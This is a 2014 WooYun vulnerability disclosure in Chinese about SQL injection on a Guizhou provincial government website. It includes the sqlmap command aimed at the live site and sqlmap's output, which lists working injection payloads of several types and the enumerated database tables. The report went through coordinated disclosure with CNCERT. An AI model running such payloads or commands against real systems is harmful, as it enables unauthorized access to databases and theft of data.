当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067494

漏洞标题:贵州省人民政府SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: Hero

提交时间:2014-07-05 10:32

修复时间:2014-08-19 10:34

公开时间:2014-08-19 10:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-05: 细节已通知厂商并且等待厂商处理中
2014-07-09: 厂商已经确认,细节仅向厂商公开
2014-07-19: 细节向核心白帽子及相关领域专家公开
2014-07-29: 细节向普通白帽子公开
2014-08-08: 细节向实习白帽子公开
2014-08-19: 细节向公众公开

简要描述:

存在SQL注入

详细说明:

网站:http://www.gzzb.gov.cn/
注入点:http://www.gzzb.gov.cn/NewsList.aspx?InfoType=工作动态

[root@Hacker~]# Sqlmap -u http://www.gzzb.gov.cn/NewsList.aspx?InfoType=工作动态
-D GzGbSystem --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:16:33
[10:16:33] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:16:33] [INFO] testing connection to the target url
[10:16:34] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: InfoType
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: InfoType=????' AND 4424=4424 AND 'LCho'='LCho
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: InfoType=????' AND 6286=CONVERT(INT,(CHAR(58)+CHAR(116)+CHAR(101)+C
HAR(111)+CHAR(58)+(SELECT (CASE WHEN (6286=6286) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(58)+CHAR(114)+CHAR(117)+CHAR(120)+CHAR(58))) AND 'mUdl'='mUdl
Type: UNION query
Title: Generic UNION query (NULL) - 25 columns
Payload: InfoType=????' UNION ALL SELECT CHAR(58)+CHAR(116)+CHAR(101)+CHAR(1
11)+CHAR(58)+CHAR(103)+CHAR(118)+CHAR(113)+CHAR(78)+CHAR(100)+CHAR(110)+CHAR(87)
+CHAR(97)+CHAR(122)+CHAR(84)+CHAR(58)+CHAR(114)+CHAR(117)+CHAR(120)+CHAR(58), NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: InfoType=????'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: InfoType=????' WAITFOR DELAY '0:0:5'--
---
[10:16:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[10:16:34] [INFO] fetching tables for database: GzGbSystem
[10:16:35] [INFO] the SQL query used returns 34 entries
[10:16:35] [INFO] retrieved: "dbo.aspnet_Applications"
[10:16:36] [INFO] retrieved: "dbo.aspnet_Membership"
[10:16:37] [INFO] retrieved: "dbo.aspnet_Paths"
[10:16:37] [INFO] retrieved: "dbo.aspnet_PersonalizationAllUsers"
[10:16:38] [INFO] retrieved: "dbo.aspnet_PersonalizationPerUser"
[10:16:38] [INFO] retrieved: "dbo.aspnet_Profile"
[10:16:39] [INFO] retrieved: "dbo.aspnet_Roles"
[10:16:39] [INFO] retrieved: "dbo.aspnet_SchemaVersions"
[10:16:40] [INFO] retrieved: "dbo.aspnet_UserLog"
Database: GzGbSystem
[9 tables]
+------------------------------------+
| dbo.aspnet_Applications |
| dbo.aspnet_Membership |
| dbo.aspnet_Paths |
| dbo.aspnet_PersonalizationAllUsers |
| dbo.aspnet_PersonalizationPerUser |
| dbo.aspnet_Profile |
| dbo.aspnet_Roles |
| dbo.aspnet_SchemaVersions |
| dbo.aspnet_UserLog |
+------------------------------------+
[10:23:11] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 35 times
[10:23:11] [INFO] fetched data logged to text files under 'E:\tools\????\SQLMAP~
3\Bin\output\www.gzzb.gov.cn'
[*] shutting down at 10:23:11

漏洞证明:

6B}SM[[W@F]9F4_}KC_529C.jpg

修复方案:

版权声明:转载请注明来源 Hero@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-07-09 22:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给贵州分中心处置。

最新状态:

暂无


漏洞评价:

评论